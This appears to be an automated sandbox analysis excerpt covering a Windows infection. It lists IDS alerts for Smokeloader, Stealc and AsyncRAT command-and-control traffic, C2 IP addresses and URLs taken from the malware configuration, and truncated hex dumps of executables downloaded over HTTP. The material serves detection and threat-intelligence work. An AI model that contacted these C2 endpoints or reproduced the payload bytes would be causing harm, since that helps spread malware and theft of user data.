Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56175 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56175 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:56177 -> 91.202.233.158:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:56177 -> 91.202.233.158:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 91.202.233.158:80 -> 192.168.2.4:56177
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:56177 -> 91.202.233.158:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 91.202.233.158:80 -> 192.168.2.4:56177
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:56177 -> 91.202.233.158:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56178 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56179 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56179 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 45.202.35.38:56001 -> 192.168.2.4:56180
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56181 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56181 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56182 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56184 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56184 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56185 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56183 -> 191.191.224.16:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56187 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56186 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56187 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56186 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56192 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56193 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56189 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56188 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56191 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56191 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.4:56190 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.4:56190 -> 92.36.226.66:80
Source: Network traffic Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:56177 -> 91.202.233.158:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 94.228.169.44 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 191.191.224.16 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 92.36.226.66 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 84.32.84.144 443 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: Malware configuration extractor URLs: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: Malware configuration extractor URLs: http://epohe.ru/tmp/
Source: Malware configuration extractor URLs: http://olihonols.in.net/tmp/
Source: Malware configuration extractor URLs: http://nicetolosv.xyz/tmp/
Source: Malware configuration extractor URLs: http://jftolsa.ws/tmp/
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:56180 -> 45.202.35.38:56001
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:27:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Sat, 31 Aug 2024 18:50:16 GMTETag: "1ba703-620ff2db74a00"Accept-Ranges: bytesContent-Length: 1812227Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 4b 5a 65 25 2a 34 36 25 2a 34 36 25 2a 34 36 2c 52 b7 36 26 2a 34 36 2c 52 a7 36 34 2a 34 36 25 2a 35 36 89 2a 34 36 3e b7 9e 36 2b 2a 34 36 3e b7 ae 36 24 2a 34 36 3e b7 a9 36 24 2a 34 36 52 69 63 68 25 2a 34 36 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 cf e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 70 00 00 00 94 3e 00 00 42 00 00 99 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 d0 4b 00 00 04 00 00 06 6b 1c 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b 00 00 b4 00 00 00 00 30 47 00 06 5b 04 00 00 00 00 00 00 00 00 00 ab 7e 1b 00 58 28 00 00 00 90 3f 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1c 6f 00 00 00 10 00 00 00 70 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 62 2a 00 00 00 80 00 00 00 2c 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 66 3e 00 00 b0 00 00 00 02 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 10 08 00 00 20 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 06 5b 04 00 00 30 47 00 00 5c 04 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0e 32 00 00 00 90 4b 00 00 34 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:28:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:28:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:28:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:28:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 01 Sep 2024 16:28:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 